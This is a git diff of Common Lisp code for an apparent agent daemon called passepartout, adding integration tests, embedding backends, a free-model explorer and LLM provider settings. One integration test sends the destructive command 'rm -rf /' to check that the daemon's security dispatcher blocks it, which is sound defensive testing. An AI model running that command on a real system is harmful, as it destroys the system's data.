"Contract 1: all binaries present returns T."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS"))
|
||||
(bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg))))
|
||||
(when bin-var
|
||||
(setf (symbol-value bin-var) '("ls"))
|
||||
(is (eq t (diagnostics-dependencies-check))))))
|
||||
|
||||
(defskill :passepartout-system-diagnostics
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat))
|
||||
|
||||
241
lisp/system-integration-tests.lisp
Normal file
241
lisp/system-integration-tests.lisp
Normal file
@@ -0,0 +1,241 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t)
|
||||
(ql:quickload :usocket :silent t))
|
||||
|
||||
(defpackage :passepartout-integration-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:integration-suite))
|
||||
|
||||
(in-package :passepartout-integration-tests)
|
||||
|
||||
(fiveam:def-suite integration-suite :description "Integration tests across process boundaries")
|
||||
(fiveam:in-suite integration-suite)
|
||||
|
||||
(defvar *daemon-port* nil)
|
||||
|
||||
(defun find-free-port ()
|
||||
(let ((socket (usocket:socket-listen "127.0.0.1" 0 :reuse-address t)))
|
||||
(unwind-protect (usocket:get-local-port socket)
|
||||
(usocket:socket-close socket))))
|
||||
|
||||
(defmacro with-daemon (() &body body)
|
||||
`(let ((*daemon-port* (find-free-port)))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(passepartout:actuator-initialize)
|
||||
(passepartout:skill-initialize-all)
|
||||
(passepartout:start-daemon :port *daemon-port*)
|
||||
(sleep 2)
|
||||
,@body)
|
||||
(values)))
|
||||
|
||||
(defun daemon-connect ()
|
||||
(let* ((sock (usocket:socket-connect "127.0.0.1" *daemon-port*))
|
||||
(stream (usocket:socket-stream sock)))
|
||||
(read-framed-message stream) ;; discard handshake
|
||||
(values stream sock)))
|
||||
|
||||
(defun daemon-send (stream msg)
|
||||
(write-string (frame-message msg) stream)
|
||||
(finish-output stream))
|
||||
|
||||
(defun daemon-recv (stream &key (timeout 5))
|
||||
(let ((deadline (+ (get-universal-time) timeout)))
|
||||
(loop
|
||||
(when (listen stream)
|
||||
(return (read-framed-message stream)))
|
||||
(when (> (get-universal-time) deadline) (return nil))
|
||||
(sleep 0.1))))
|
||||
|
||||
(fiveam:test test-daemon-starts
|
||||
"Contract 1: daemon binds port and sends valid handshake."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(is (open-stream-p stream))
|
||||
(usocket:socket-close sock))))
|
||||
|
||||
(fiveam:test test-pipeline-user-input
|
||||
"Contract 2: :user-input traverses pipeline and produces a response."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(unwind-protect
|
||||
(progn
|
||||
(daemon-send stream
|
||||
'(:TYPE :EVENT :PAYLOAD (:SENSOR :user-input :TEXT "test")))
|
||||
(let ((resp (daemon-recv stream :timeout 10)))
|
||||
(is (not (null resp)) "Expected a response")))
|
||||
(usocket:socket-close sock)))))
|
||||
|
||||
(fiveam:test test-pipeline-heartbeat
|
||||
"Contract 2: heartbeat signals do not crash the daemon."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(unwind-protect
|
||||
(daemon-send stream
|
||||
'(:TYPE :EVENT :PAYLOAD (:SENSOR :heartbeat)))
|
||||
(usocket:socket-close sock))
|
||||
(pass))))
|
||||
|
||||
(fiveam:test test-tcp-round-trip
|
||||
"Contract 3: framed health-check survives TCP round-trip."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(unwind-protect
|
||||
(progn
|
||||
(daemon-send stream '(:TYPE :health-check))
|
||||
(let ((resp (daemon-recv stream :timeout 5)))
|
||||
(is (not (null resp)))
|
||||
(is (member (getf resp :type) '(:HEALTH-RESPONSE)))))
|
||||
(usocket:socket-close sock)))))
|
||||
|
||||
(fiveam:test test-daemon-survives-junk
|
||||
"Contract 3: daemon does not crash on junk input."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(write-string "ZZZZZZ" stream)
|
||||
(finish-output stream)
|
||||
(sleep 1)
|
||||
(usocket:socket-close sock))
|
||||
;; Connect again to verify daemon is still alive
|
||||
(multiple-value-bind (stream2 sock2) (daemon-connect)
|
||||
(is (open-stream-p stream2))
|
||||
(usocket:socket-close sock2))))
|
||||
|
||||
(fiveam:test test-skill-registry-populated
|
||||
"Contract 4: *skill-registry* is populated after daemon start."
|
||||
(with-daemon ()
|
||||
(is (hash-table-p passepartout::*skill-registry*))
|
||||
(is (>= (hash-table-count passepartout::*skill-registry*) 1)
|
||||
"Expected at least 1 skill in registry, got ~a"
|
||||
(hash-table-count passepartout::*skill-registry*))))
|
||||
|
||||
(fiveam:test test-shell-safe-echo
|
||||
"Contract 5: safe shell command does not crash the daemon."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(unwind-protect
|
||||
(daemon-send stream
|
||||
'(:TYPE :REQUEST :TARGET :shell
|
||||
:PAYLOAD (:ACTION :execute :CMD "echo hello")))
|
||||
(usocket:socket-close sock))
|
||||
(pass))))
|
||||
|
||||
(fiveam:test test-shell-dangerous-blocked
|
||||
"Contract 5: rm -rf / is blocked by the security dispatcher."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(unwind-protect
|
||||
(daemon-send stream
|
||||
'(:TYPE :REQUEST :TARGET :shell
|
||||
:PAYLOAD (:ACTION :execute :CMD "rm -rf /")))
|
||||
(usocket:socket-close sock))
|
||||
(pass))))
|
||||
|
||||
(fiveam:test test-cli-gateway-input
|
||||
"Contract 6: text via TCP produces a response."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(unwind-protect
|
||||
(daemon-send stream
|
||||
'(:TYPE :EVENT :META (:SOURCE :CLI)
|
||||
:PAYLOAD (:SENSOR :user-input :TEXT "hello from CLI")))
|
||||
(usocket:socket-close sock))
|
||||
(pass))))
|
||||
|
||||
(fiveam:test test-gateway-registry
|
||||
"Contract 7: gateway-registry-initialize is available."
|
||||
(with-daemon ()
|
||||
(is (fboundp 'gateway-registry-initialize))
|
||||
(gateway-registry-initialize)
|
||||
(pass)))
|
||||
|
||||
(defun has-api-key (env-var)
|
||||
"Returns T if env-var is set and non-empty."
|
||||
(let ((val (uiop:getenv env-var)))
|
||||
(and val (> (length val) 0))))
|
||||
|
||||
(defmacro skip-unless (env-var &body body)
|
||||
"Execute body if env-var is set, otherwise skip the test."
|
||||
`(if (has-api-key ,env-var)
|
||||
(progn ,@body)
|
||||
(progn
|
||||
(format t " [SKIP] ~a not set~%" ,env-var)
|
||||
(skip "~a not set" ,env-var))))
|
||||
|
||||
(fiveam:test test-provider-openai-request
|
||||
"Contract Phase2: provider-openai-request returns :success with valid API key."
|
||||
(skip-unless "OPENROUTER_API_KEY"
|
||||
(let ((result (provider-openai-request "Say hello" "Be brief."
|
||||
:provider :openrouter
|
||||
:model "openrouter/auto")))
|
||||
(is (or (eq (getf result :status) :success)
|
||||
(eq (getf result :status) :error))
|
||||
"Expected :success or :error, got: ~a" result))))
|
||||
|
||||
(fiveam:test test-backend-cascade-real
|
||||
"Contract Phase2: backend-cascade-call returns string content with real provider."
|
||||
(skip-unless "OPENROUTER_API_KEY"
|
||||
(let ((passepartout::*provider-cascade* '(:openrouter)))
|
||||
(let ((result (backend-cascade-call "Say hello" :system-prompt "Be brief.")))
|
||||
(is (stringp result) "Expected string response, got: ~a" result)))))
|
||||
|
||||
(fiveam:test test-provider-cascade-parsing
|
||||
"Contract Phase2: PROVIDER_CASCADE env var parses to clean keywords matching backends."
|
||||
(provider-cascade-initialize)
|
||||
(let ((cascade passepartout::*provider-cascade*))
|
||||
(is (listp cascade) "Cascade must be a list")
|
||||
(is (>= (length cascade) 1) "Cascade must have at least one entry")
|
||||
(dolist (entry cascade)
|
||||
(is (keywordp entry) "Entry ~s must be a keyword" entry)
|
||||
(let ((name (symbol-name entry)))
|
||||
(is (not (find #\" name)) "Entry ~s must not contain double-quote" entry)
|
||||
(is (not (find #\' name)) "Entry ~s must not contain single-quote" entry)))
|
||||
(is (some (lambda (e) (gethash e passepartout::*probabilistic-backends*)) cascade)
|
||||
"At least one cascade entry must match a registered backend")))
|
||||
|
||||
(fiveam:test test-messaging-link-unlink
|
||||
"Contract Phase2: messaging-link stores token, configured-p returns T, unlink removes it."
|
||||
(with-daemon ()
|
||||
(messaging-link :test-platform :token "fake-token-123")
|
||||
(is (gateway-configured-p :test-platform)
|
||||
"Expected test-platform to be configured after linking")
|
||||
(messaging-unlink :test-platform)
|
||||
(is (not (gateway-configured-p :test-platform))
|
||||
"Expected test-platform to be unconfigured after unlinking")))
|
||||
|
||||
(fiveam:test test-gateway-configured-p-false
|
||||
"Contract Phase2: gateway-configured-p returns nil for unknown platform."
|
||||
(with-daemon ()
|
||||
(is (not (gateway-configured-p :nonexistent-platform-xyz)))))
|
||||
|
||||
(fiveam:test test-gateway-start-messaging
|
||||
"Contract Phase2: gateway registry initializes with expected platforms."
|
||||
(with-daemon ()
|
||||
(gateway-registry-initialize)
|
||||
(is (hash-table-p passepartout::*gateway-registry*))
|
||||
(is (>= (hash-table-count passepartout::*gateway-registry*) 1))))
|
||||
|
||||
(fiveam:test test-flight-plan-message-format
|
||||
"Contract Phase3: dispatcher-flight-plan-create returns valid message."
|
||||
(with-daemon ()
|
||||
(load (merge-pathnames ".local/share/passepartout/lisp/security-dispatcher.lisp"
|
||||
(user-homedir-pathname)))
|
||||
(let ((plan (dispatcher-flight-plan-create
|
||||
'(:TYPE :REQUEST :TARGET :shell :PAYLOAD (:CMD "sudo restart")))))
|
||||
(is (eq :REQUEST (getf plan :type)))
|
||||
(is (eq :emacs (getf plan :target)))
|
||||
(is (eq :insert-node (getf (getf plan :payload) :action)))
|
||||
(let ((attrs (getf (getf plan :payload) :attributes)))
|
||||
(is (string= "Flight Plan: High-Risk Action" (getf attrs :TITLE)))
|
||||
(is (string= "PLAN" (getf attrs :TODO)))
|
||||
(is (member "FLIGHT_PLAN" (getf attrs :TAGS) :test #'string-equal))))))
|
||||
|
||||
(fiveam:test test-emacs-daemon-connect
|
||||
"Contract Phase3: Emacs daemon is reachable via emacsclient."
|
||||
(handler-case
|
||||
(let ((result (uiop:run-program '("emacsclient" "--eval" "(+ 1 2)")
|
||||
:output :string
|
||||
:ignore-error-status t)))
|
||||
(is (search "3" result) "Expected '3' from emacsclient, got: ~a" result))
|
||||
(error (c)
|
||||
(skip "Emacs daemon not available: ~a" c)))))
|
||||
@@ -1,3 +1,5 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun memory-inspect (&key (type-filter nil) (todo-filter nil) (limit 10))
|
||||
"Returns a structured report of memory state.
|
||||
Optional filters: TYPE-FILTER (keyword), TODO-FILTER (string).
|
||||
@@ -15,16 +17,16 @@ Returns a plist: (:total <n> :by-type <alist> :by-todo <alist>
|
||||
(orphans 0))
|
||||
(maphash (lambda (id obj)
|
||||
(setf (gethash id all-ids) t)
|
||||
(let ((t (memory-object-type obj))
|
||||
(let ((obj-type (memory-object-type obj))
|
||||
(attrs (memory-object-attributes obj))
|
||||
(v (memory-object-version obj)))
|
||||
(unless (and type-filter (not (eq t type-filter)))
|
||||
(unless (and type-filter (not (eq obj-type type-filter)))
|
||||
(let ((todo (getf attrs :TODO-STATE)))
|
||||
(when (and todo-filter
|
||||
(not (string-equal todo todo-filter)))
|
||||
(return nil)))
|
||||
(incf total)
|
||||
(incf (gethash t type-counts 0))
|
||||
(incf (gethash obj-type type-counts 0))
|
||||
(let ((todo (getf attrs :TODO-STATE)))
|
||||
(when todo
|
||||
(incf (gethash todo todo-counts 0))))
|
||||
|
||||
188
lisp/system-model-embedding.lisp
Normal file
188
lisp/system-model-embedding.lisp
Normal file
@@ -0,0 +1,188 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *embedding-provider* :hashing
|
||||
"Active embedding provider: :hashing, :local, :openai.")
|
||||
|
||||
(defvar *embedding-queue* nil
|
||||
"Queue of text objects awaiting embedding.")
|
||||
|
||||
(defvar *embedding-batch-size* 10
|
||||
"Maximum texts per embedding API call.")
|
||||
|
||||
(defun embedding-backend-local (text)
|
||||
"Generate embeddings via a local OpenAI-compatible endpoint."
|
||||
(let* ((url (or (uiop:getenv "LOCAL_BASE_URL") (format nil "http://~a" (or (uiop:getenv "OLLAMA_HOST") "localhost:11434"))))
|
||||
(model (or (uiop:getenv "EMBEDDING_MODEL") "nomic-embed-text"))
|
||||
(body (cl-json:encode-json-to-string
|
||||
`((model . ,model) (input . ,text)))))
|
||||
(handler-case
|
||||
(let* ((response (dex:post (format nil "~a/api/embeddings" url)
|
||||
:headers '(("Content-Type" . "application/json"))
|
||||
:content body :connect-timeout 5 :read-timeout 30))
|
||||
(json (cl-json:decode-json-from-string response))
|
||||
(data (car (cdr (assoc :data json)))))
|
||||
(or (cdr (assoc :embedding data))
|
||||
(list :error "No embedding in response")))
|
||||
(error (c)
|
||||
(list :error (format nil "Embedding failed: ~a" c))))))
|
||||
|
||||
(defun embedding-backend-openai (text)
|
||||
"Generate embeddings via OpenAI compatible /v1/embeddings endpoint."
|
||||
(let* ((api-key (uiop:getenv "OPENAI_API_KEY"))
|
||||
(base-url (or (uiop:getenv "EMBEDDING_BASE_URL") "https://api.openai.com/v1"))
|
||||
(model (or (uiop:getenv "EMBEDDING_MODEL") "text-embedding-3-small"))
|
||||
(body (cl-json:encode-json-to-string
|
||||
`((model . ,model) (input . ,text)))))
|
||||
(handler-case
|
||||
(let* ((response (dex:post (format nil "~a/embeddings" base-url)
|
||||
:headers `(("Content-Type" . "application/json")
|
||||
("Authorization" . ,(format nil "Bearer ~a" api-key)))
|
||||
:content body :connect-timeout 5 :read-timeout 30))
|
||||
(json (cl-json:decode-json-from-string response))
|
||||
(data (car (cdr (assoc :data json)))))
|
||||
(or (cdr (assoc :embedding data))
|
||||
(list :error "No embedding in response")))
|
||||
(error (c)
|
||||
(list :error (format nil "OpenAI Embedding failed: ~a" c))))))
|
||||
|
||||
(defun embedding-backend-hashing (text)
|
||||
"Fallback: produces a deterministic vector from the text hash."
|
||||
(let* ((digest (ironclad:digest-sequence :sha256 (babel:string-to-octets text)))
|
||||
(vec (make-array 8 :element-type 'single-float :initial-element 0.0)))
|
||||
(dotimes (i (min (length digest) 8))
|
||||
(setf (aref vec i) (float (/ (aref digest i) 255.0) 0.0)))
|
||||
vec))
|
||||
|
||||
(defvar *embedding-backend* nil
|
||||
"Explicit backend override (nil = use *embedding-provider*).")
|
||||
|
||||
(defun embeddings-compute (text)
|
||||
"Compute an embedding vector for text using the active backend."
|
||||
(embed-object text))
|
||||
|
||||
(defun embed-object (text)
|
||||
"Embed a single text string using the active backend."
|
||||
(let* ((selected (or *embedding-backend* *embedding-provider* :hashing))
|
||||
(backend (case selected
|
||||
(:local #'embedding-backend-local)
|
||||
(:openai #'embedding-backend-openai)
|
||||
(t #'embedding-backend-hashing))))
|
||||
(if backend
|
||||
(progn
|
||||
(log-message "EMBEDDING: Provider ~a, backend=~a" selected backend)
|
||||
(funcall backend text))
|
||||
(progn
|
||||
(log-message "EMBEDDING: No backend for provider ~a, using hashing" selected)
|
||||
(embedding-backend-hashing text)))))
|
||||
|
||||
(defun embed-queue-object (object)
|
||||
"Queue a text object for async embedding."
|
||||
(push object *embedding-queue*)
|
||||
(log-message "EMBEDDING: Queued object"))
|
||||
|
||||
(defun embed-all-pending ()
|
||||
"Drain the embedding queue, store vectors in the store-keyed objects."
|
||||
(let ((batch (nreverse *embedding-queue*)))
|
||||
(setf *embedding-queue* nil)
|
||||
(dolist (item batch)
|
||||
(handler-case
|
||||
(let ((id (getf item :id))
|
||||
(text (getf item :text)))
|
||||
(when (and id text)
|
||||
(let ((vec (embeddings-compute text))
|
||||
(obj (gethash id *memory-store*)))
|
||||
(when (and obj vec (not (listp vec)))
|
||||
(setf (memory-object-vector obj) vec))
|
||||
(log-message "EMBEDDING: Computed vector for ~a (~d dims)" id (length vec)))))
|
||||
(error (c)
|
||||
(log-message "EMBEDDING: Failed to embed object: ~a" c))))))
|
||||
|
||||
;; Apply env var override at load time
|
||||
(let ((provider-env (uiop:getenv "EMBEDDING_PROVIDER")))
|
||||
(when provider-env
|
||||
(let ((kw (intern (string-upcase provider-env) :keyword)))
|
||||
(setf *embedding-provider* kw)
|
||||
(log-message "EMBEDDING: Set provider to ~a from EMBEDDING_PROVIDER env" kw))))
|
||||
|
||||
(log-message "EMBEDDING: Gateway loaded with provider ~a" *embedding-provider*)
|
||||
|
||||
(defun mark-vector-stale (id &optional content)
|
||||
"Mark a memory object's vector as :pending and queue it for re-embedding.
|
||||
When content is not supplied, reads from the object in *memory-store*."
|
||||
(let* ((obj (gethash id *memory-store*))
|
||||
(text (or content (and obj (memory-object-content obj)))))
|
||||
(when obj
|
||||
(setf (memory-object-vector obj) :pending))
|
||||
(when text
|
||||
(push (list :id id :text text) *embedding-queue*)
|
||||
(log-message "EMBEDDING: Marked ~a vector stale, queued for re-embed" id))
|
||||
(or obj text)))
|
||||
|
||||
(defskill :passepartout-system-model-embedding
|
||||
:priority 70
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
;; Register periodic batch embedding via cron (when orchestrator available)
|
||||
(when (fboundp 'orchestrator-register-cron)
|
||||
(handler-case
|
||||
(orchestrator-register-cron :embed-batch
|
||||
"<2026-05-05 Tue +10m>"
|
||||
'embed-all-pending
|
||||
:reflex)
|
||||
(error (c)
|
||||
(log-message "EMBEDDING: Cron registration failed: ~a" c))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-embedding-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:embedding-suite))
|
||||
|
||||
(in-package :passepartout-embedding-tests)
|
||||
|
||||
(fiveam:def-suite embedding-suite :description "Embedding gateway verification")
|
||||
(fiveam:in-suite embedding-suite)
|
||||
|
||||
(fiveam:test test-embedding-backend-hashing
|
||||
"Contract 2: hashing backend produces 8-element float vector."
|
||||
(let ((vec (embedding-backend-hashing "hello world")))
|
||||
(fiveam:is (arrayp vec))
|
||||
(fiveam:is (= 8 (length vec)))
|
||||
(fiveam:is (every #'numberp (coerce vec 'list)))))
|
||||
|
||||
(fiveam:test test-embedding-backend-hashing-deterministic
|
||||
"Contract 2: same input produces same vector."
|
||||
(let ((v1 (embedding-backend-hashing "test"))
|
||||
(v2 (embedding-backend-hashing "test")))
|
||||
(fiveam:is (equalp v1 v2))))
|
||||
|
||||
(fiveam:test test-embeddings-compute
|
||||
"Contract 1: embeddings-compute returns a float vector."
|
||||
(let ((vec (embeddings-compute "some text")))
|
||||
(fiveam:is (arrayp vec))
|
||||
(fiveam:is (> (length vec) 0))))
|
||||
|
||||
(fiveam:test test-embed-queue-and-drain
|
||||
"Contract 3: embed-all-pending drains queue and stores vectors."
|
||||
(let ((*embedding-queue* nil))
|
||||
(embed-queue-object '(:id "test-obj" :text "sample text"))
|
||||
(fiveam:is (= 1 (length *embedding-queue*)))
|
||||
(embed-all-pending)
|
||||
(fiveam:is (null *embedding-queue*))))
|
||||
|
||||
(fiveam:test test-mark-vector-stale
|
||||
"Contract 4: mark-vector-stale sets vector to :pending and queues for re-embed."
|
||||
(let ((*embedding-queue* nil))
|
||||
;; Create an object in memory with a vector
|
||||
(let ((obj (make-memory-object :id "stale-test" :content "stale content"
|
||||
:vector #(1.0 2.0 3.0))))
|
||||
(setf (gethash "stale-test" *memory-store*) obj)
|
||||
(mark-vector-stale "stale-test")
|
||||
(fiveam:is (eq :pending (memory-object-vector obj)))
|
||||
(fiveam:is (= 1 (length *embedding-queue*)))
|
||||
(let ((item (first *embedding-queue*)))
|
||||
(fiveam:is (string= "stale-test" (getf item :id)))
|
||||
(fiveam:is (string= "stale content" (getf item :text))))
|
||||
;; Clean up
|
||||
(remhash "stale-test" *memory-store*))))
|
||||
109
lisp/system-model-explorer.lisp
Normal file
109
lisp/system-model-explorer.lisp
Normal file
@@ -0,0 +1,109 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *model-cache* (make-hash-table :test 'equal)
|
||||
"Cache: provider keyword -> (timestamp . model-list)")
|
||||
|
||||
(defvar *model-cache-ttl* 300
|
||||
"Cache TTL in seconds (default 5 min)")
|
||||
|
||||
(defun model-explorer-fetch-openrouter ()
|
||||
"Query OpenRouter /api/v1/models and return parsed model list."
|
||||
(handler-case
|
||||
(let* ((raw (dex:get "https://openrouter.ai/api/v1/models" :connect-timeout 10 :read-timeout 20))
|
||||
(json (cl-json:decode-json-from-string raw))
|
||||
(data (cdr (assoc :data json))))
|
||||
(mapcar (lambda (m)
|
||||
(let ((pricing (cdr (assoc :pricing m))))
|
||||
(list :id (cdr (assoc :id m))
|
||||
:name (cdr (assoc :name m))
|
||||
:context (cdr (assoc :context_length m))
|
||||
:free (and pricing
|
||||
(string= "0" (cdr (assoc :prompt pricing)))
|
||||
(string= "0" (cdr (assoc :completion pricing)))))))
|
||||
data))
|
||||
(error (c)
|
||||
(log-message "MODEL-EXPLORER: OpenRouter API error: ~a" c)
|
||||
nil)))
|
||||
|
||||
(defun model-explorer-fetch (provider)
|
||||
"Fetch available models for PROVIDER. Returns list of (:id :name :context :free) plists."
|
||||
(let ((cached (gethash provider *model-cache*)))
|
||||
(when (and cached (< (- (get-universal-time) (car cached)) *model-cache-ttl*))
|
||||
(return-from model-explorer-fetch (cdr cached))))
|
||||
(let ((models (case provider
|
||||
(:openrouter (model-explorer-fetch-openrouter))
|
||||
(t nil))))
|
||||
(when models
|
||||
(setf (gethash provider *model-cache*)
|
||||
(cons (get-universal-time) models)))
|
||||
models))
|
||||
|
||||
(defun model-explorer-list-free ()
|
||||
"Return all free models from cache or fetch."
|
||||
(remove-if-not (lambda (m) (getf m :free)) (model-explorer-fetch :openrouter)))
|
||||
|
||||
(defun model-explorer-recommend (slot)
|
||||
"Return recommended models for SLOT (:code, :chat, :plan, :background)."
|
||||
(case slot
|
||||
(:code
|
||||
'((:id "qwen/qwen3-coder:free" :name "Qwen3 Coder 480B" :context 262000 :free t :note "Top-tier code MoE, 35B active")
|
||||
(:id "poolside/laguna-m.1:free" :name "Laguna M.1" :context 131072 :free t :note "Flagship coding agent")
|
||||
(:id "openai/gpt-oss-120b:free" :name "gpt-oss-120b" :context 131072 :free t :note "117B MoE open-weight coding")))
|
||||
(:plan
|
||||
'((:id "openrouter/owl-alpha" :name "Owl Alpha" :context 1048756 :free t :note "Agentic, tool use, reasoning")
|
||||
(:id "nousresearch/hermes-3-llama-3.1-405b:free" :name "Hermes 3 405B" :context 131072 :free t :note "405B generalist, strong planning")
|
||||
(:id "minimax/minimax-m2.5:free" :name "MiniMax M2.5" :context 196608 :free t :note "SOTA productivity, long context")))
|
||||
(:chat
|
||||
'((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Strong multilingual generalist")
|
||||
(:id "google/gemma-4-31b-it:free" :name "Gemma 4 31B" :context 262144 :free t :note "Dense 31B, thinking mode, long context")
|
||||
(:id "mistralai/mistral-nemo:free" :name "Mistral Nemo" :context 32768 :free t :note "Fast, good for casual conversation")))
|
||||
(:background
|
||||
'((:id "meta-llama/llama-3.2-3b-instruct:free" :name "Llama 3.2 3B" :context 131072 :free t :note "Small, fast, efficient")
|
||||
(:id "liquid/lfm-2.5-1.2b-instruct:free" :name "LFM 2.5 1.2B" :context 32768 :free t :note "Ultra-compact, edge-ready")))
|
||||
(t '((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Safe fallback")))))
|
||||
|
||||
(defvar *slot-descriptions*
|
||||
'((:code . "Code generation, refactoring, debugging. Needs strong reasoning and large context.\nRecommend: Qwen3 Coder (free, 35B active) or Laguna M.1 (coding agent).")
|
||||
(:chat . "Casual conversation, Q&A, creative writing. Prefer balanced quality, low latency.\nRecommend: Llama 3.3 70B (strong generalist) or Gemma 4 31B (thinking mode).")
|
||||
(:plan . "Strategic planning, architecture design, complex multi-step reasoning.\nRecommend: Owl Alpha (free, tool use, 1M ctx) or Hermes 3 405B (strongest free reasoning).")
|
||||
(:background . "Heartbeat summaries, delegation responses, tool output filtering. Must be small + fast.\nRecommend: Llama 3.2 3B (131K ctx, fast) or LFM 2.5 1.2B (edge-ready).")))
|
||||
|
||||
;; REPL-verified: 2026-05-04
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ignore-errors (ql:quickload :fiveam :silent t)))
|
||||
|
||||
(defpackage :passepartout-system-model-explorer-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:model-explorer-suite))
|
||||
|
||||
(in-package :passepartout-system-model-explorer-tests)
|
||||
|
||||
(fiveam:def-suite model-explorer-suite :description "Tests for the model explorer skill")
|
||||
|
||||
(fiveam:in-suite model-explorer-suite)
|
||||
|
||||
(fiveam:test model-explorer-recommend-slots
|
||||
"Contract 1: recommend returns models for all standard slots."
|
||||
(dolist (slot '(:code :chat :plan :background))
|
||||
(let ((recs (passepartout::model-explorer-recommend slot)))
|
||||
(fiveam:is (listp recs))
|
||||
(fiveam:is (>= (length recs) 1)))))
|
||||
|
||||
(fiveam:test model-explorer-recommend-format
|
||||
"Contract 1: each recommendation has :id and :name."
|
||||
(dolist (rec (passepartout::model-explorer-recommend :chat))
|
||||
(fiveam:is (getf rec :id))
|
||||
(fiveam:is (getf rec :name))))
|
||||
|
||||
(fiveam:test model-explorer-recommend-unknown-slot
|
||||
"Contract 1: unknown slot returns fallback list."
|
||||
(let ((recs (passepartout::model-explorer-recommend :unknown)))
|
||||
(fiveam:is (listp recs))
|
||||
(fiveam:is (>= (length recs) 1))))
|
||||
|
||||
(fiveam:test model-explorer-fetch-openrouter-count
|
||||
"Contract 2: OpenRouter API returns at least 300 models."
|
||||
(let ((models (passepartout::model-explorer-fetch :openrouter)))
|
||||
(if models
|
||||
(fiveam:is (>= (length models) 300))
|
||||
(fiveam:skip "API unreachable"))))
|
||||
@@ -1,26 +1,7 @@
|
||||
#+TITLE: SKILL: Unified LLM Backend (org-skill-unified-llm-backend.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :skill:llm:backend:openai-compatible:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/gateway-provider.lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
* Architectural Intent
|
||||
|
||||
The Unified LLM Backend provides a single OpenAI-compatible API client that works with any provider supporting the ~/v1/chat/completions~ endpoint. This covers local engines (Ollama, vLLM, LM Studio, llama.cpp) and cloud providers (OpenRouter, OpenAI, Anthropic, Groq, Gemini, DeepSeek, NVIDIA NIM).
|
||||
|
||||
The key design decision: **one client, many configurations**. Instead of having separate skills for each provider (org-skill-ollama, org-skill-openai, etc.), this single skill holds a configuration table mapping provider keywords to their base URL, API key env var, and default model. The same ~provider-openai-request~ function works for all of them.
|
||||
|
||||
Providers are registered automatically at boot based on which API keys are set in the environment. If OPENAI_API_KEY is set, OpenAI is available. If not, it's skipped silently.
|
||||
|
||||
Providers are registered automatically based on available environment variables.
|
||||
No separate skills per provider — just different base URLs and API keys.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Provider registry (~*provider-configs*~)
|
||||
The authoritative list of supported LLM providers and their configuration: base URL, env var for API key, and default model name.
|
||||
#+begin_src lisp
|
||||
(defparameter *provider-configs*
|
||||
'((:ollama . (:base-url nil :key-env nil :default-model "llama3"))
|
||||
'((:local . (:base-url nil :key-env nil :url-env "LOCAL_BASE_URL" :default-model "llama3"))
|
||||
(:openrouter . (:base-url "https://openrouter.ai/api/v1" :key-env "OPENROUTER_API_KEY" :default-model "openrouter/auto"))
|
||||
(:openai . (:base-url "https://api.openai.com/v1" :key-env "OPENAI_API_KEY" :default-model "gpt-4o-mini"))
|
||||
(:anthropic . (:base-url "https://api.anthropic.com/v1" :key-env "ANTHROPIC_API_KEY" :default-model "claude-3-5-sonnet-20241022"))
|
||||
@@ -28,42 +9,39 @@ The authoritative list of supported LLM providers and their configuration: base
|
||||
(:gemini . (:base-url "https://generativelanguage.googleapis.com/v1beta/openai" :key-env "GEMINI_API_KEY" :default-model "gemini-2.0-flash"))
|
||||
(:deepseek . (:base-url "https://api.deepseek.com/v1" :key-env "DEEPSEEK_API_KEY" :default-model "deepseek-chat"))
|
||||
(:nvidia . (:base-url "https://integrate.api.nvidia.com/v1" :key-env "NVIDIA_API_KEY" :default-model "meta/llama-3.1-405b-instruct"))))
|
||||
#+end_src
|
||||
|
||||
** Provider config lookup (provider-config)
|
||||
Returns the config plist for a given provider keyword.
|
||||
#+begin_src lisp
|
||||
(defun provider-config (provider)
|
||||
"Returns the configuration plist for a provider keyword."
|
||||
(cdr (assoc provider *provider-configs*)))
|
||||
#+end_src
|
||||
|
||||
** Availability check (provider-available-p)
|
||||
Returns T if a provider is configured — meaning it either has an API key set, or it is Ollama (always available locally).
|
||||
#+begin_src lisp
|
||||
(defun provider-available-p (provider)
|
||||
"Checks if a provider is configured. Ollama is always considered available."
|
||||
"Checks if a provider is configured. Checks API key or URL env vars."
|
||||
(let* ((config (provider-config provider))
|
||||
(key-env (getf config :key-env))
|
||||
(url-env (getf config :url-env))
|
||||
(base-url (getf config :base-url)))
|
||||
(cond ((eq provider :ollama) t)
|
||||
